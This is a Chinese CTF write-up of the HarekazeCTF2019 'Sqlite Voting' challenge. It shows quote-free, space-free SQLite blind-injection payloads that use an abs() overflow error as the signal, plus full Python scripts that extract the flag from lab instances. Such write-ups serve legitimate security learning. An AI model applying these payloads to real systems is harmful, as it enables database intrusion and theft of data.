[HarekazeCTF2019]Sqlite Voting

1.打开题目可以看到连链接到两个地址,投票是简单的post传输id,fuzz一下不出所料过滤挺严:
source.php源码:
[HarekazeCTF2019]Sqlite Voting_第1张图片
sql文件:
[HarekazeCTF2019]Sqlite Voting_第2张图片
2.审计下发现只能在update处注入,而且update成功与否返回结果不同,因此此处用盲注,但是已经把单双引号过滤了,没办法闭合,那怎么办?参考writeup貌似是利用报错来进行盲注,利用了sqllite的一个abs()函数溢出漏洞:

[HarekazeCTF2019]Sqlite Voting_第3张图片

payload:abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

hex()的位运算来判断flag表里的长度,{1<

[HarekazeCTF2019]Sqlite Voting_第4张图片

判断flag长度payload:

import requests

url = "http://5cf611f2-ecff-478f-8efd-e527adfcab0c.node4.buuoj.cn:81/vote.php"
l = 0
for n in range(16):
    payload = 'abs(case(length(hex((select(flag)from(flag))))&{})when(0)then(0)else(0x8000000000000000)end)'.format(1<<n)
    data = {
        'id' : payload
    }

    r = requests.post(url=url, data=data)
    print(data)
    print(r.text)
    if 'occurred' in r.text:
        l = l|1<<n

print(l)

3.之后其实就是构造出A~F,有了16进制表示flag,利用报错爆破出flag,实在看不懂,学废了:

[HarekazeCTF2019]Sqlite Voting_第5张图片
简单解释:

abs(
    case(	#因为没有替换,when(trim(0,0))不匹配,则执行后面else语句abs(0x8000000000000000)从而报错
        replace(  #replace(得到的长度,84,''),若匹配到长度不为84则不替换,返回flase
            length(  #此时长度改变,不再为84
                replace( #若{t}包含在flag,则被替换为空。
                    hex(
                        (select(flag)from(flag))
                    ),{t},trim(0,0)
                )
            ),{l},trim(0,0)
        )
    )when(trim(0,0))then(0)else(0x8000000000000000)end
)

因为空格被过滤了,所以我们用括号给括起来绕过空格。case()when()then()else()进行判断。如果前面判断为真则出现系统的错误,如果为假则触发else,出现abs溢出的报错。

大佬的payload:

# coding: utf-8
import binascii
import requests

URL = 'http://5cf611f2-ecff-478f-8efd-e527adfcab0c.node4.buuoj.cn:81/vote.php'

# フラグの長さを特定
l = 0
i = 0
for j in range(16):
    r = requests.post(URL, data={
        'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
        l |= 1 << j
print('[+] length:', l)

# A-F のテーブルを作成
table = {'A': 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)',
         'C': 'trim(hex(typeof(.1)),12567)', 'D': 'trim(hex(0xffffffffffffffff),123)', 'E': 'trim(hex(0.1),1230)',
         'F': 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'}
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
    for x in '0123456789ABCDEF':
        t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
        r = requests.post(URL, data={
            'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
            res += x
            break
    print(f'[+] flag ({i}/{l}): {res}')
    i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

出题人payload:

# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'


l = 0
i = 0
for j in range(16):
  r = requests.post(URL, data={
    'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
  })
  if b'An error occurred' in r.content:
    l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
  for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    r = requests.post(URL, data={
      'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
      res += x
      break
  print(f'[+] flag ({i}/{l}): {res}')
  i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

这题真的好难,涉及的知识好多好多,即使看了writeup仍感觉一知半解的。貌似是到外国题,真的膜拜出题人。

参考:wp1、wp2、wp3(看的最懵但也最强)这些精心构造payload的过程真的太让人佩服了!

你可能感兴趣的:(CTF,sqlite,安全,web安全)